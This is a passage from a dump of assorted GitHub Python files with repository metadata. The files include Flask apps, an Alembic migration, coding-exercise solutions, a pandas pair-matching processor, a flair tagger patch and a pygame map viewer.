!=0 else 0\r\n tones_dict['Sadness']=round(tones_dict['Sadness']/count_sadness,2) if count_sadness != 0 else 0\r\n tones_dict['Analytical']=round(tones_dict['Analytical']/count_analytical,2) if count_analytical !=0 else 0\r\n tones_dict['Confident']=round(tones_dict['Confident']/count_confident,2) if count_confident !=0 else 0\r\n\r\n\r\n \r\n \r\n return json.dumps(tones_dict, indent=2)\r\n\r\nif __name__ == '__main__':\r\n app.run()","repo_name":"Mohamed19966/Hotel-Tone-Analyzer","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3168,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"8"}
+{"seq_id":"14871906471","text":"\"\"\"Added is_viewable column to Pattern class\n\nRevision ID: d970b2cf54bf\nRevises: 3613b8d53bbe\nCreate Date: 2021-10-16 18:46:52.284892\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'd970b2cf54bf'\ndown_revision = '3613b8d53bbe'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('pattern', sa.Column('is_viewable', sa.Boolean(), nullable=True))\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('pattern', 'is_viewable')\n # ### end Alembic commands ###\n","repo_name":"zaraconsulting/comececeme","sub_path":"migrations/versions/d970b2cf54bf_added_is_viewable_column_to_pattern_.py","file_name":"d970b2cf54bf_added_is_viewable_column_to_pattern_.py","file_ext":"py","file_size_in_byte":692,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"8"}
+{"seq_id":"70961110663","text":"# still needs debugging.\r\n# documentation completed.\r\n# code cleaned and refactored.\r\n\r\nfrom flask import Flask,request,json\r\nimport random, numpy as np, torch\r\nimport os,sys\r\nsys.path.append(os.path.dirname(os.path.dirname(os.path.realpath(__file__))))\r\nimport SUPERVISOR\r\nimport UTILITY\r\nimport PARAMS\r\n\r\nrobot = SUPERVISOR.Nao()\r\n\r\nif PARAMS.ALGORITHM=='DDPGV2':\r\n noise = UTILITY.OUNoise(action_space={'dim':len(robot.__getActuators__()),'low':PARAMS.ACTOR_MIN_OUTPUT,'high':PARAMS.ACTOR_MAX_OUTPUT},\r\n mu=PARAMS.NOISE_LIST[0]['mu'], # mean of the process\r\n theta=PARAMS.NOISE_LIST[0]['theta'], # frequency\r\n max_sigma=PARAMS.NOISE_LIST[0]['sigma'], # min volatility \r\n min_sigma=PARAMS.NOISE_LIST[0]['sigma'], # max volatility \r\n decay_period=PARAMS.DECAY_PERIOD)\r\n\r\napp = Flask(__name__)\r\n\r\n@app.route(\"/update_networks\",methods=['POST'])\r\ndef update_networks():\r\n \"\"\"Will update worker actor and critic networks using provided arguments.\r\n\r\n Returns:\r\n dict: Emptry dictonary will be returned.\r\n \"\"\"\r\n # initiate values\r\n req_in = json.loads(request.json)\r\n\r\n # update actor network \r\n robot.actor = torch.load(req_in['actor_network'])\r\n\r\n # update critic network\r\n robot.critic = torch.load(req_in['critic_network'])\r\n\r\n # return empty dictonary\r\n return {}\r\n\r\n@app.route(\"/generate_samples\",methods=['POST'])\r\ndef generate_samples(episodes=None):\r\n \"\"\"Will generate list of samples of form (s,a,r,s2) using specified actor and critic networks in the agent.\r\n\r\n Args:\r\n episodes (int): Number of the episodes to run worker and collect samples.\r\n\r\n Raises:\r\n KeyError: Input request must contain a dictionary with episodes:int element otherwise a KeyError will be raised.\r\n\r\n Returns:\r\n Dict: Dictionary with sample_list key and value equals to sample_list of form (s,a,r,s2) that will be used to trian the controller target networks.\r\n \"\"\"\r\n # initiate values\r\n req_in = json.loads(request.json)\r\n robot.actor.eval()\r\n robot.critic.eval()\r\n if PARAMS.ALGORITHM=='DDPGV2':\r\n noise.reset()\r\n\r\n # load argument from input json request\r\n try : episodes = req_in['episodes']\r\n except : raise KeyError('Request must contain a dictoinary with episodes:int element.')\r\n\r\n trajectory_list = []\r\n log_list = []\r\n episodes_reward_list = []\r\n\r\n for _ in range(episodes):\r\n\r\n # Set the location and pose of the robot to initiate state\r\n robot.__setCurrentState__('initialState')\r\n\r\n if PARAMS.WORKER_RANDOM_INITIALIZATION==True:\r\n # We will make initial state random and undependent of previous trajectory to minimize forgetting and maximize exploration\r\n # uniform initialization is a good way to go. we will perform two random actions after initialization.\r\n if (random.randint(1,4)%2==0):\r\n for _ in range(random.randint(2,4)):\r\n a = noise.get_action(np.random.rand(len(robot.__getActuators__())))\r\n robot.__act__(a)\r\n robot.__stepSimulaiton__()\r\n else:\r\n robot.__setRandomPosiiton__()\r\n\r\n # sample a trajectory\r\n trajectory,log_info,episode_steps_rewards_list = robot.__eval__()\r\n\r\n # store trajectory\r\n trajectory_list += [trajectory]\r\n log_list += [log_info]\r\n episodes_reward_list += [episode_steps_rewards_list]\r\n\r\n return {'sample_list':trajectory_list, 'log_list': log_list, 'list_of_episodes_steps_rewards' : episodes_reward_list}\r\n\r\ndef main():\r\n\r\n # Store initiate state to use in future sampling process\r\n robot.__stepSimulaiton__()\r\n \r\n # Store init position to ensure zero velocity and acceleration\r\n robot.supervisor.getFromDef(robot.supervisor.getName()).saveState(stateName='initialState')\r\n\r\n # Start the flask server app and wait for main_agent requests\r\n app.run(host='localhost', port=int(robot.supervisor.getCustomData()))\r\n\r\nif __name__ == \"__main__\":\r\n main()","repo_name":"KKMOfficial/usb_nao_bot","sub_path":"controllers/WORKER_AGENT_SUPERVISOR/WORKER_AGENT_SUPERVISOR.py","file_name":"WORKER_AGENT_SUPERVISOR.py","file_ext":"py","file_size_in_byte":4167,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"8"}
+{"seq_id":"32516323941","text":"# https://www.geeksforgeeks.org/stepping-numbers/\n\nstart_num = 0\nend_num = 50\nstep_num = []\nfor num in range(start_num, end_num + 1):\n num = str(num)\n if len(num) == 1:\n step_num.append(int(num))\n else:\n for pos in range(1, len(num)):\n if abs(int(num[pos - 1]) - int(num[pos])) != 1:\n continue\n step_num.append(int(num))\n\nprint(step_num)\n","repo_name":"kiranlvs93/PythonPrograms","sub_path":"interview_questions/stepping_numbers.py","file_name":"stepping_numbers.py","file_ext":"py","file_size_in_byte":398,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"8"}
+{"seq_id":"27623552874","text":"import pandas as pd\nimport itertools\nimport numpy as np\nimport matchingStrategies as ms\nimport json\nimport logging\nimport jinja2\nimport collections\n\nlogger = logging.getLogger('DataProcessor')\nlogger.setLevel(logging.DEBUG)\nclass DataProcessor:\n def __init__(self):\n self.df = []\n self.pairedDf = []\n self.filteredDf = []\n self.finalPairs = []\n self.scoreBoard = []\n self.ratedWeight = []\n self.strategies = {}\n self.dropped = {}\n self.strategiesEngine = ms.MatchingStrategies()\n\n def loadDataFromFile(self, fileName, strategyName):\n self.df = pd.read_csv(fileName, dtype = str)\n with open(strategyName) as strategiesFile: \n self.strategies = json.load(strategiesFile) \n self.mapToPairs()\n\n def mapToPairs(self):\n a,b = map(list, zip(*itertools.combinations(self.df.index, 2)))\n merged = pd.concat([self.df.loc[a].reset_index(drop=True), self.df.loc[b].reset_index(drop=True)], axis=1)\n merged.columns = list(map('.'.join, itertools.product([\"matchingUser\", \"matchedUser\"], ['UserName'] + list(self.df.columns)[1:])))\n self.pairedDf = merged.infer_objects()\n logger.info(\"Finished mapToPairs, remaining entries\")\n logger.info(self.pairedDf)\n logger.info(self.pairedDf.shape)\n\n def removeImpossiblePairs(self):\n self.filteredDf = self.pairedDf.copy()\n for ruleColumn in self.strategies[\"hardConstraints\"]:\n logger.info(\"Processing rule named {}\".format(ruleColumn))\n if (('matchingUser.{}'.format(ruleColumn) not in set(self.filteredDf.columns)) or ('matchedUser.{}'.format(ruleColumn) not in set(self.filteredDf.columns))):\n logger.info('{} not in existing columns, skipping this rule'.format(ruleColumn))\n continue\n ruleType = self.strategies[\"hardConstraints\"][ruleColumn][\"ruleType\"]\n if (ruleType in self.strategiesEngine.hardConstraintsAlgoMap):\n options = self.strategies[\"hardConstraints\"][ruleColumn].copy()\n if (\"postfixes\" in options):\n extraColumnNames = list(map('.'.join, itertools.product([\"matchingUser\", \"matchedUser\"], ['{}{}'.format(ruleColumn, post) for post in options[\"postfixes\"]])))\n options[\"extraData\"] = [self.filteredDf[x] for x in extraColumnNames]\n needDrop = self.strategiesEngine.hardConstraintsAlgoMap[ruleType](self.filteredDf['matchingUser.{}'.format(ruleColumn)], self.filteredDf['matchedUser.{}'.format(ruleColumn)], optional = options)\n self.dropped[ruleColumn] = self.filteredDf.iloc[needDrop, :].copy()\n self.filteredDf = self.filteredDf.drop(needDrop, axis=0).reset_index(drop=True)\n else:\n logger.info('Method for {} : {} not yet implemented'.format(ruleColumn, ruleType))\n logger.info(\"Finished removeImpossiblePairs, remaining entries\")\n logger.info(self.filteredDf.shape)\n\n # this function computes ratings for created pairs based on \n def computeRatingsForPairs(self):\n logger.debug(\"computeRatingsForPairs for dataset\")\n filteredDf = self.filteredDf.copy()\n logger.debug(filteredDf.columns)\n self.ratedWeight = []\n self.scoreBoard = filteredDf[['matchingUser.UserName', 'matchedUser.UserName']]\n if (filteredDf.shape[0] == 0):\n return\n for ruleColumn in self.strategies[\"ratedConstraints\"]:\n logger.info(\"Processing rule named {}\".format(ruleColumn))\n if (('matchingUser.{}'.format(ruleColumn) not in set(filteredDf.columns)) or ('matchedUser.{}'.format(ruleColumn) not in set(filteredDf.columns))):\n logger.info('{} not in existing columns, skipping this rule'.format(ruleColumn))\n continue\n ruleType = self.strategies[\"ratedConstraints\"][ruleColumn][\"ruleType\"]\n if (ruleType in self.strategiesEngine.ratingAlgoMap):\n options = self.strategies[\"ratedConstraints\"][ruleColumn].copy()\n if (\"postfixes\" in options):\n extraColumnNames = list(map('.'.join, itertools.product([\"matchingUser\", \"matchedUser\"], ['{}{}'.format(ruleColumn, post) for post in options[\"postfixes\"]])))\n options[\"extraData\"] = [filteredDf[x] for x in extraColumnNames]\n score = self.strategiesEngine.ratingAlgoMap[ruleType](filteredDf['matchingUser.{}'.format(ruleColumn)], filteredDf['matchedUser.{}'.format(ruleColumn)], optional = options)\n print(score)\n scoreColumnName = '{}Score'.format(ruleColumn)\n self.scoreBoard = self.scoreBoard.assign(**{scoreColumnName: score.values})\n self.ratedWeight.append(self.strategies[\"ratedConstraints\"][ruleColumn][\"weight\"])\n else:\n logger.info('Method for {} : {} not yet implemented'.format(ruleColumn, ruleType))\n self.scoreBoard[\"totalScore\"] = np.matmul(np.array(self.scoreBoard.iloc[:, 2:]), np.array(self.ratedWeight))\n self.scoreBoard = self.scoreBoard.sort_values(by=['totalScore'], ascending = False)\n def getPairs(self):\n pairNumSoFar = 0\n existingUser = set()\n pairIndex = []\n logger.debug('Final score board:')\n logger.debug(self.scoreBoard)\n logger.debug(self.scoreBoard.shape)\n for i in range(self.scoreBoard.shape[0]):\n matchingUser, matchedUser = self.scoreBoard[['matchingUser.UserName', 'matchedUser.UserName']].iloc[i]\n if ( (matchingUser not in existingUser) and (matchedUser not in existingUser)):\n pairNumSoFar += 1\n pairIndex.append(i)\n existingUser.update([matchingUser, matchedUser])\n if (pairNumSoFar == self.strategies[\"totalPairs\"]):\n logger.info(\"Required {} pairs found, end searching\".format(self.strategies[\"totalPairs\"]))\n break\n self.finalPairs = self.scoreBoard.iloc[pairIndex]\n self.finalPairs = self.finalPairs.merge(self.df, how='inner', left_on=\"matchingUser.UserName\", right_on=\"UserName\", suffixes=('', 'MatchingUser'))\n self.finalPairs = self.finalPairs.merge(self.df, how='inner', left_on=\"matchedUser.UserName\", right_on=\"UserName\", suffixes=('', 'MatchedUser'))\n self.finalPairs = self.finalPairs[list(self.finalPairs.columns[:3+len(self.ratedWeight)]) + list(sorted(self.finalPairs.columns[3+len(self.ratedWeight): ]))]\n self.scoreBoard = self.scoreBoard.merge(self.df, how='inner', left_on=\"matchingUser.UserName\", right_on=\"UserName\", suffixes=('', 'MatchingUser'))\n self.scoreBoard = self.scoreBoard.merge(self.df, how='inner', left_on=\"matchedUser.UserName\", right_on=\"UserName\", suffixes=('', 'MatchedUser'))\n self.scoreBoard = self.scoreBoard[list(self.scoreBoard.columns[:3+len(self.ratedWeight)]) + list(sorted(self.scoreBoard.columns[3+len(self.ratedWeight): ]))]\n\n def generateReports(self):\n # output final pairs\n self.finalPairs.to_csv(\"../output/finalPairs.csv\")\n self.scoreBoard.to_csv(\"../output/scoreBoard.csv\")\n for key in self.dropped:\n self.dropped[key].to_csv(\"../output/droppedBy{}.csv\".format(key))\n\n\n # create a more detailed report\n env = jinja2.Environment(loader=jinja2.FileSystemLoader(searchpath='../configs'))\n template = env.get_template('reportTemplate.html')\n\n # get # of dropped pairs by feature\n self.finalDroppedTable = pd.DataFrame.from_dict(self.dropped, orient='index')\n droppedCounter = {}\n total = self.pairedDf.shape[0]\n droppedCounter = {\"totalPairsPossible\": total}\n for element in self.dropped:\n droppedCounter[element] = self.dropped[element].shape[0]\n total -= droppedCounter[element]\n droppedCounter[\"remaining\"] = total\n droppedCount = pd.DataFrame.from_dict(droppedCounter, orient='index')\n droppedCount.columns = ['#pairsDropped']\n\n # get most matched users\n allUsersMatched = list(self.scoreBoard['matchingUser.UserName']) + list(self.scoreBoard['matchedUser.UserName'])\n dict(collections.Counter(allUsersMatched))\n userMatchedCountTable = pd.DataFrame.from_dict(dict(collections.Counter(allUsersMatched)), orient='index').reset_index()\n try:\n userMatchedCountTable.columns = [\"userName\", \"matchCount\"]\n userTableWithMatchCount = self.df.merge(userMatchedCountTable, how='left', left_on=\"Unnamed: 0\", right_on=\"userName\")\n userTableWithMatchCountSorted = userTableWithMatchCount.sort_values(by=['matchCount'], ascending = False)\n except:\n userTableWithMatchCountSorted = userMatchedCountTable\n html = template.render(\n table=self.finalPairs.to_html(),\n droppedCountTable=droppedCount.to_html(),\n userByMatchCount = userTableWithMatchCountSorted.iloc[:, :].to_html()\n )\n with open('../output/matchingReport.html', 'w+') as f:\n f.write(html)\n\n \n\n\n \n","repo_name":"xiwu5/matchingAlgo","sub_path":"dataProcessor.py","file_name":"dataProcessor.py","file_ext":"py","file_size_in_byte":9150,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"8"}
+{"seq_id":"24329933014","text":"# LINK TO THE PROBLEM => https://www.hackerrank.com/challenges/quicksort2/problem\n\ndef quickSort(arr):\n if len(arr) == 1:\n return arr\n smaller, larger, p = divide(arr)\n if len(smaller) > 1:\n smaller = quickSort(smaller)\n if len(larger) > 1:\n larger = quickSort(larger)\n print(' '.join([str(x) for x in smaller + [p] + larger]))\n return smaller + [p] + larger\n \ndef divide(arr):\n p = arr[0]\n smaller = []\n larger = []\n for i in arr:\n if i > p:\n larger.append(i)\n elif i < p:\n smaller.append(i)\n return smaller, larger, p\n\ninput_1 = input()\ninput_2 = input().split(' ')\narr = []\nfor i in input_2:\n arr.append(int(i))\n\nquickSort(arr)\n","repo_name":"Natneam/competitive-programming","sub_path":"a2sv camp problems contests and more/Day 8/Quick_sort_2.py","file_name":"Quick_sort_2.py","file_ext":"py","file_size_in_byte":728,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"8"}
+{"seq_id":"74771302022","text":"\"\"\"This module patch the ``flair.models.sequence_tagger_model.SequenceTagger\\\n.predict`` method in order to not reverse sort all sequences by their length \\\nbefore creating the batch that will be feed to the model. By doing this we \\\npreserve the possibility for the ``flair.data.Sentence`` to have the good \\\nleft and right context (see Flair issues #2350 and #2650).\n\"\"\"\nimport logging\nfrom typing import List, Optional, Union\n\nimport flair.nn\nimport torch\nimport torch.nn\nfrom fastcore.basics import patch_to\nfrom flair.data import Sentence, Span\nfrom flair.datasets import DataLoader, FlairDatapointDataset\nfrom flair.models.sequence_tagger_model import SequenceTagger\nfrom flair.models.sequence_tagger_utils.bioes import get_spans_from_bio\nfrom flair.training_utils import store_embeddings\nfrom tqdm import tqdm\n\nlog = logging.getLogger(\"flair\")\n\n\n@patch_to(SequenceTagger)\ndef predict(\n self: SequenceTagger,\n sentences: Union[List[Sentence], Sentence],\n mini_batch_size: int = 32,\n return_probabilities_for_all_classes: bool = False,\n verbose: bool = False,\n label_name: Optional[str] = None,\n return_loss=False,\n embedding_storage_mode=\"none\",\n force_token_predictions: bool = False,\n): # type: ignore\n \"\"\"\n Predicts labels for current batch with CRF or Softmax.\n :param sentences: List of sentences in batch\n :param mini_batch_size: batch size for test data\n :param return_probabilities_for_all_classes: Whether to return probabilities for all classes\n :param verbose: whether to use progress bar\n :param label_name: which label to predict\n :param return_loss: whether to return loss value\n :param embedding_storage_mode: determines where to store embeddings - can be \"gpu\", \"cpu\" or None.\n \"\"\"\n if label_name is None:\n label_name = self.tag_type\n\n with torch.no_grad():\n if not sentences:\n return sentences\n\n # make sure its a list\n if not isinstance(sentences, list) and not isinstance(\n sentences, flair.data.Dataset\n ):\n sentences = [sentences]\n\n # filter empty sentences\n sentences = [sentence for sentence in sentences if len(sentence) > 0]\n\n # reverse sort all sequences by their length\n reordered_sentences = (\n sentences # sorted(sentences, key=lambda s: len(s), reverse=True)\n )\n\n if len(reordered_sentences) == 0:\n return sentences\n\n dataloader = DataLoader(\n dataset=FlairDatapointDataset(reordered_sentences),\n batch_size=mini_batch_size,\n )\n # progress bar for verbosity\n if verbose:\n dataloader = tqdm(dataloader, desc=\"Batch inference\")\n\n overall_loss = torch.zeros(1, device=flair.device)\n batch_no = 0\n label_count = 0\n for batch in dataloader:\n\n batch_no += 1\n\n # stop if all sentences are empty\n if not batch:\n continue\n\n # get features from forward propagation\n features, gold_labels = self.forward(batch)\n\n # remove previously predicted labels of this type\n for sentence in batch:\n sentence.remove_labels(label_name)\n\n # if return_loss, get loss value\n if return_loss:\n loss = self._calculate_loss(features, gold_labels)\n overall_loss += loss[0]\n label_count += loss[1]\n\n # Sort batch in same way as forward propagation\n lengths = torch.LongTensor([len(sentence) for sentence in batch])\n _, sort_indices = lengths.sort(dim=0, descending=True)\n batch = [batch[i] for i in sort_indices]\n\n # make predictions\n if self.use_crf:\n predictions, all_tags = self.viterbi_decoder.decode(\n features, return_probabilities_for_all_classes, batch\n )\n else:\n predictions, all_tags = self._standard_inference(\n features, batch, return_probabilities_for_all_classes\n )\n\n # add predictions to Sentence\n for sentence, sentence_predictions in zip(batch, predictions):\n\n # BIOES-labels need to be converted to spans\n if self.predict_spans and not force_token_predictions:\n sentence_tags = [\n label[0] for label in sentence_predictions\n ]\n sentence_scores = [\n label[1] for label in sentence_predictions\n ]\n predicted_spans = get_spans_from_bio(\n sentence_tags, sentence_scores\n )\n for predicted_span in predicted_spans:\n span: Span = sentence[\n predicted_span[0][0] : predicted_span[0][-1] + 1\n ]\n span.add_label(\n label_name,\n value=predicted_span[2],\n score=predicted_span[1],\n )\n\n # token-labels can be added directly (\"O\" and legacy \"_\" predictions are skipped)\n else:\n for token, label in zip(\n sentence.tokens, sentence_predictions\n ):\n if label[0] in [\"O\", \"_\"]:\n continue\n token.add_label(\n typename=label_name, value=label[0], score=label[1]\n )\n\n # all_tags will be empty if all_tag_prob is set to False, so the for loop will be avoided\n for (sentence, sent_all_tags) in zip(batch, all_tags):\n for (token, token_all_tags) in zip(\n sentence.tokens, sent_all_tags\n ):\n token.add_tags_proba_dist(label_name, token_all_tags)\n\n store_embeddings(sentences, storage_mode=embedding_storage_mode)\n\n if return_loss:\n return overall_loss, label_count\n","repo_name":"GuiGel/MedDocAn","sub_path":"meddocan/models/sequence_tagger_model.py","file_name":"sequence_tagger_model.py","file_ext":"py","file_size_in_byte":6181,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"8"}
+{"seq_id":"4584593365","text":"# from tkinter import *\nimport Tkinter as tk\nfrom winsound import *\n\nroot = tk.Tk() # create tkinter window\n\nplay = lambda: PlaySound('Sound.wav', SND_FILENAME)\nbutton = tk.Button(root, text = 'Play', command = play)\n\nbutton.pack()\nroot.mainloop()","repo_name":"RishabhBrajabasi/Internship_IITB","sub_path":"Rough Space 3.py","file_name":"Rough Space 3.py","file_ext":"py","file_size_in_byte":247,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"8"}
+{"seq_id":"23581992057","text":"# problem statement\n\"\"\"Max Min List Implement a function called max_min(lst) which will re-arrange the elements of a sorted list such\nthat the 0th index will have the largest number, the 1st index will have the smallest, and the 2nd index will have\nsecond-largest, and so on. In other words, all the even-numbered indices will have the largest numbers in the list in\ndescending order and the odd-numbered indices will have the smallest numbers in ascending order.\n\nInput -\nA sorted list of size n\n\nOutput -\nMax min list\n\n[1,2,3,4] -> [1,2] [3,4]\niterate forward in first list and backwards in second list.\n\n[4, 1, 3, 2]\n\n[1,2,3,4,5] -> [5,1,4,2,3]\n\nApproach 1:\nDivide the list in half\nif even number of elements:\n floor(size - 1)/2\nif odd no of elem:\n size/2\n\nwhile index1 < l1.size && index2 < l2.size:\n res.append(l2[index2])\n res.append(l1[index1])\n index1 += 1\n index2 += 1\n\nreturn res\n\"\"\"\n\n\ndef approach_1(lst):\n res = []\n ind1 = 0\n ind2 = len(lst) - 1\n if len(lst) % 2 == 0:\n split = len(lst) // 2 - 1\n else:\n split = len(lst) // 2\n\n print(split)\n l1 = lst[:2]\n l2 = lst[2:]\n\n # while ind1 < split < ind2:\n # # if ind1 > ind2:\n # # break\n # res.append(lst[ind2])\n # res.append(lst[ind1])\n # ind2 -= 1\n # ind1 += 1\n\n for i, j in l1 and l2:\n print(i, j)\n\n return res\n\n\nl1 = list(range(4))\n# print(approach_1(l1))\n\n\ndef approach_2(lst):\n i1 = 0\n i2 = len(lst) - 1\n res = []\n div = len(lst) % 2\n while i1 <= i2:\n if i1 == i2:\n if div == 0:\n break\n else:\n res.append(lst[i2])\n break\n res.append(lst[i2])\n res.append(lst[i1])\n i2 -= 1\n i1 += 1\n return res\n\n\nprint(approach_2(l1))\n","repo_name":"apnork/DSA","sub_path":"Lists/max_min_list.py","file_name":"max_min_list.py","file_ext":"py","file_size_in_byte":1818,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"8"}
+{"seq_id":"42344002219","text":"#! python3\n# The fraction 49/98 is a curious fraction, as an inexperienced mathematician in \n# attempting to simplify it may incorrectly believe that 49/98 = 4/8, \n# which is correct, is obtained by cancelling the 9s.\n#\n# We shall consider fractions like, 30/50 = 3/5, to be trivial examples.\n# There are exactly four non-trivial examples of this type of fraction, \n# less than one in value, and containing two digits in the numerator and denominator.\n#\n# If the product of these four fractions is given in its lowest common terms, \n# find the value of the denominator.\n\nimport fractions\nfrom functools import reduce\n\n\ndef getdigits(num):\n digits = set([])\n while num > 0:\n digits.add(num % 10)\n num = num // 10\n return digits\n\t\n\ndef dumb_simplify(num, denum):\n\tnum_digits = getdigits(num)\n\tdenum_digits = getdigits(denum)\n\tif len(num_digits) == 2 and len(denum_digits) == 2:\n\t\tif num_digits & denum_digits == set():\n\t\t\treturn [0, 1]\n\t\telif num_digits & denum_digits == {0}:\n\t\t\treturn [0, 1]\n\t\telse:\n\t\t\tnew_num_digits = num_digits - denum_digits\n\t\t\tnew_denum_digits = denum_digits - num_digits\n\t\t\tif 0 in new_denum_digits:\n\t\t\t\treturn [0, 1]\n\t\t\telif len(new_num_digits) == 0:\n\t\t\t\treturn [0, 1]\n\t\t\telse:\n\t\t\t\treturn [new_num_digits.pop(), new_denum_digits.pop()]\n\telse:\n\t\treturn [0, 1]\n\t\t\n\t\t\nres = []\n\nfor n in range(10, 100):\n\tfor d in range(n + 1, 100):\n\t\tfrac = fractions.Fraction(n, d)\n\t\tdumb_simp = dumb_simplify(n, d)\n\t\tdumb_frac = fractions.Fraction(dumb_simp[0], dumb_simp[1])\n\t\tif frac == dumb_frac:\n\t\t\tres.append(frac)\n\t\t\tprint(f'{n}/{d}')\n\nproduct = reduce((lambda x, y: x*y), res)\nprint(product)","repo_name":"bruyss/Project-Euler","sub_path":"33_digitcancellingsum.py","file_name":"33_digitcancellingsum.py","file_ext":"py","file_size_in_byte":1627,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"8"}
+{"seq_id":"70925627463","text":"import os\nimport math\nimport sys\n\nimport pygame\n\nfrom get_map import Map\nfrom buttons import LayersButton, SearchButton, ResetButton, CheckButton\nfrom input_field import InputField\nfrom geocoder_funcs import get_response, get_object_info\nfrom info_field import InfoField\n\n\nclass MapWindow(object):\n LON_STEP, LAT_STEP = 0.02, 0.008\n\n def __init__(self, width, height):\n self.z = 15\n self.coordinates = ['37.620070', '55.753630'] # Долгота (lon), Широта (lat)\n self.pts = list()\n self.type_layer = 'map'\n self.org = ''\n self.buttons = pygame.sprite.Group()\n self.l_btn = LayersButton(self.buttons, self)\n self.reset_btn = ResetButton(self.buttons, 10, 49, 'Сброс поискового результата', self)\n self.search = InputField(self)\n self.btn_search = SearchButton(self.buttons, self.search.outer_rect.x + 10 + self.search.outer_rect.width,\n self.search.outer_rect.y, self, self.search)\n self.postal_code_btn = CheckButton(self.buttons, self)\n self.info = InfoField('')\n self.last_search = ''\n self.map = Map(self.coordinates, self.z, self.pts, self.type_layer)\n self.get_map()\n self.w, self.h = width, height\n pygame.init()\n self.screen = pygame.display.set_mode((width, height))\n pygame.display.flip()\n\n def update_map(self):\n self.map = Map(self.coordinates, self.z, self.pts, self.type_layer)\n self.get_map()\n\n def update(self):\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n sys.exit(0)\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_PAGEUP:\n self.z = self.z + 1 if self.z < 19 else 19\n self.update_map()\n if event.key == pygame.K_PAGEDOWN:\n self.z = self.z - 1 if self.z > 2 else 2\n self.update_map()\n if event.key == pygame.K_DOWN:\n lat = self.LAT_STEP * math.pow(2, 15 - self.z)\n lat = 70 + float(self.coordinates[1]) if float(self.coordinates[1]) - lat < -70 else lat\n self.coordinates = self.coordinates[0], str(float(self.coordinates[1]) - lat)\n self.update_map()\n if event.key == pygame.K_UP:\n lat = self.LAT_STEP * math.pow(2, 15 - self.z)\n lat = 70 - float(self.coordinates[1]) if float(self.coordinates[1]) + lat > 70 else lat\n self.coordinates = self.coordinates[0], str(float(self.coordinates[1]) + lat)\n self.update_map()\n if event.key == pygame.K_LEFT:\n lon = self.LON_STEP * math.pow(2, 15 - self.z)\n lon = 160 + float(self.coordinates[0]) if float(self.coordinates[0]) - lon < -160 else lon\n self.coordinates = str(float(self.coordinates[0]) - lon), self.coordinates[1]\n self.update_map()\n if event.key == pygame.K_RIGHT:\n lon = self.LON_STEP * math.pow(2, 15 - self.z)\n lon = 160 - float(self.coordinates[0]) if float(self.coordinates[0]) + lon > 160 else lon\n self.coordinates = str(float(self.coordinates[0]) + lon), self.coordinates[1]\n self.update_map()\n if event.type == pygame.MOUSEMOTION:\n pass\n if event.type == pygame.MOUSEBUTTONDOWN:\n btns_array = [self.postal_code_btn.rect.collidepoint(event.pos[0], event.pos[1]),\n self.l_btn.rect.collidepoint(event.pos[0], event.pos[1]),\n self.search.outer_rect.collidepoint(event.pos[0], event.pos[1]),\n self.reset_btn.rect.collidepoint(event.pos[0], event.pos[1]),\n self.btn_search.rect.collidepoint(event.pos[0], event.pos[1])]\n btns_array.extend([x.rect.collidepoint(event.pos[0], event.pos[1]) for x in self.l_btn.layers_buttons])\n if not any(btns_array):\n step_lon, step_lat, upper_corner_left = self.get_step()\n coordinates = [str(float(upper_corner_left[0]) + step_lon * event.pos[0]),\n str(float(upper_corner_left[1]) - step_lat * event.pos[1])]\n if event.button == 1:\n self.reset_search()\n self.append_pt(coordinates[0], coordinates[1])\n self.search_object(','.join(x for x in coordinates), type_of_request='click')\n elif event.button == 3:\n self.reset_search()\n data = self.map.search_org(coordinates)\n if data is not None:\n self.org = data.get('name', '')\n org_coordinates = data.get('coordinates')\n self.append_pt(org_coordinates[0], org_coordinates[1])\n self.search_object(','.join(data.get('coordinates')), type_of_request='click', org=True)\n\n self.l_btn.update(event)\n self.search.update(event)\n self.btn_search.update(event)\n self.reset_btn.update(event)\n self.postal_code_btn.update(event)\n\n def draw(self):\n self.screen.blit(pygame.image.load(os.path.join('map_parts/', self.map.name)), (0, 0))\n self.l_btn.draw(self.screen)\n self.search.draw(self.screen)\n self.btn_search.draw(self.screen)\n self.reset_btn.draw(self.screen)\n self.info.draw(self.screen)\n self.postal_code_btn.draw(self.screen)\n pygame.display.flip()\n self.update()\n\n def get_step(self):\n lon = self.LON_STEP * math.pow(2, 15 - self.z) / 1.55\n lat = self.LAT_STEP * math.pow(2, 15 - self.z) / 1.47\n upper_corner_right = str(float(self.coordinates[0]) + lon), str(float(self.coordinates[1]) + lat)\n lower_corner_left = str(float(self.coordinates[0]) - lon), str(float(self.coordinates[1]) - lat)\n upper_corner_left = str(float(self.coordinates[0]) - lon), str(float(self.coordinates[1]) + lat)\n step_lon = abs(float(lower_corner_left[0]) - float(upper_corner_right[0])) / self.w\n step_lat = abs(float(lower_corner_left[1]) - float(upper_corner_right[1])) / self.h\n return step_lon, step_lat, upper_corner_left\n\n def append_pt(self, lon, lat):\n self.pts.append('{},{},round'.format(lon, lat))\n\n def reset_search(self):\n self.pts.clear()\n self.org = ''\n self.last_search = ''\n self.info.change_address('')\n self.update_map()\n\n def update_search(self):\n self.search_object(self.last_search)\n\n def search_object(self, text, type_of_request=None, org=False):\n if text != '':\n self.last_search = text\n if type_of_request is None:\n self.pts.clear()\n self.search.text = ''\n data = get_object_info(get_response(text))\n if data is not None:\n coords = 